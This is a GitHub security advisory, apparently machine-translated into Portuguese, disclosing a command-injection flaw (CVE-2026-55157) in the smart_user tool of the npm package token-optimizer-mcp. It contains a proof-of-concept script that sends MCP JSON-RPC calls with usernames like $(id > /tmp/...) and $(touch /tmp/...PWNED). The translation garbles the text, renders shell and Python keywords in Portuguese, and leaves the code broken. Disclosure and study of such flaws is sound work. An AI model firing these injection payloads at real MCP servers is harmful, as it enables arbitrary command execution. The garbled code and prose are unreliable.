`token- optimizer- mcp` é vulnerável à injeção de comandos OS na ferramenta `smart_user`. A operação `get- user-info` aceita um argumento `username' controlado pelo usuário e, posteriormente, interpola- o em um comando shell executado através de `execAsync()`: ```ts getent passwd "${username}"...................................................................................................................... Embora o valor seja enrolado em cotações duplas, as balanças POSIX ainda avaliam a substituição de comandos como `$(...)' e retrocota dentro de cotações duplas. Como resultado, um cliente MCP pode fornecer um nome de usuário criado, como: ``` texto $(id > / tmp/ TOKEN_OPTIMIZER_SMART_USER_ID) ``. e executar comandos locais arbitrários com os privilégios do usuário que executa o servidor MCP.

Isto é um CWE- 78 Problema com a injeção do comando OS. ``` Texto @ooples/token-optimizer- mcp v 5.0.1 MCP serverInfo.nom: token-optimizer- mcp MCP serverInfo.version: 0.2.0 ``` Este problema não está relacionado com os avisos de dependência de `npm audit' atuais. A vulnerabilidade está na implementação da própria ferramenta `token-optimizer- mcp`. O caminho de código vulnerável está na implementação `smart_user`.

O argumento `username` é eventualmente passado para um comando de shell semelhante a: ``` ts const { stdout: passwdout } = aguarde execAsync( `getent passwd "${username}".. grep "^${username}:" /etc/passwd` ); ``` O problema é que o ` username ' é controlado pelo chamador de ferramentas MCP e é inserido em uma cadeia de comandos executada por um shell. Cotações duplas não tornam isso seguro. Em shells POSIX, a substituição de comandos ainda é avaliada dentro de cotações duplas:.

``` bash "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)" "`id`" ```. Portanto, um ` username` malicioso pode executar comandos arbitrários antes que `getent` ou `grep` receba seus argumentos. A chamada de ferramenta MCP afetada é. ``` Texto: operação smart_user: get-user-info argument: username ``` ```texto MCP-controlado nome de usuário → interpolado em string de comando shell → executado através de execAsync() → shell avalia $(...) / backticks → execução arbitrária de comandos ``` O PoC seguinte executa um comando inofensivo `id` e escreve o resultado para um arquivo temporário em `/ tmp`.

``` Texto Node.js instalado token-optimizer-mcp construído a partir de fonte ```. ``` bash git clone cd token-optimizer-mcp npm instalar npm executar compilação ``` ``` bash cd /path/ to/ token- optimizer- mcp. ENTRY=dist/server/index.js ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(data +%s)_$$" rm -f "$ID_OUT" eco "[*] ENTRY=$ ENTRY" eco "[*] arquivo de saída de id: $ID_OUT". python 3 - "$ID_OUT" & 1. tee /tmp/token_optimizer_smart_user_poc.log importar sistemas de importação json id_out = sys. argv[ 1 ]. # Este valor está inserido em: # getent passwd "${username}".. grep "^${username}:" /etc/passwd # A substituição de comandos ainda se executa dentro de citações duplas. evil_username = f'$(id > {id_out})'.

mensagens = [ { "jsonrpc": " 2.0 ", "id": "init", "método": "inicialize", "params": { "protocoloVersão": " 2024 - 11 - 05 ", "capacidades": {}, "clientInfo": { "nome": "poc", "versão": " 0 " } } }, { "jsonrpc": " 2.0 ", "método": "notificações/inicializadas", "params": {} }, { "jsonrpc": " 2.0 ", "id": "poc-smart-user", "método": "tools/call", "params": { "nome": "smart_user", "argumentos": { "operação": "get-user-info", "username": evil_username, "useCache": Falso } } } ] para msg em mensagens: print(json.dumps(msg), flush=True) PY. se [ - f "$ID_OUT" ]; então eco "[VULN CONFIRMED] smart_user injeção de comando executada:" gato "$ID_OUT" ls -l "$ID_OUT" senão eco "[FAIL] smart_user id output file not created" cauda - 120 /tmp/token_optimizer_smart_user_poc.log fi ``` ``` texto [VULN CONFIRMED] injeção de comando smart_user executada: uid= 1001 ( ) gid= 1001 ( ) grupos=... -rw-rw-r-- 1 ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... ``` No meu teste, a resposta MCP também mostrou que a carga útil atingiu o comando shell:.

````text Command falhado: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)"........................................................................................................ O arquivo `/ tmp/ TOKEN_ OPTIMIZAZER_SMART_ USER_ ID_...` foi criado e conteve a saída de ` id`, confirmando a execução de comando como usuário do servidor MCP. Uma variante de arquivo de marcadores mais simples também funciona. ```json { "operação": "get-user-info", "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)", "useCache": false } ``` Este é um comando OS de injeção vulnerabilidade.

Qualquer cliente MCP que possa chamar a ferramenta `smart_user` pode executar comandos de shell arbitrários através do argumento `username` da operação `get-user-info`. Os comandos executam com os privilégios do usuário executando o servidor `token-optimizer- mcp`. ```execução de texto de `id` como o usuário do servidor MCP criação arbitrária de arquivos sob /tmp através de um comando injetado ``` Registro de aconselhamento: GHSA- 49 Mq- fc 6 q-. 3 h 46. Identificadores relacionados: CVE- 2026 - 55157.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 14 T 21: 42: 06.000 Z e lista a sua última modificação como 2026 - 08 - 14 T 21: 42: 06.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Software afetado e informações de versão: pacote npm @ooples/token-optimizer- mcp — ECOSISTEM: introduzido 0, corrigido 5.1.0. Classificação e evidência: identificadores de fraqueza CWE- 78. O registro contém 4 suporte de referências nestes tipos: WEB, PACKAGE.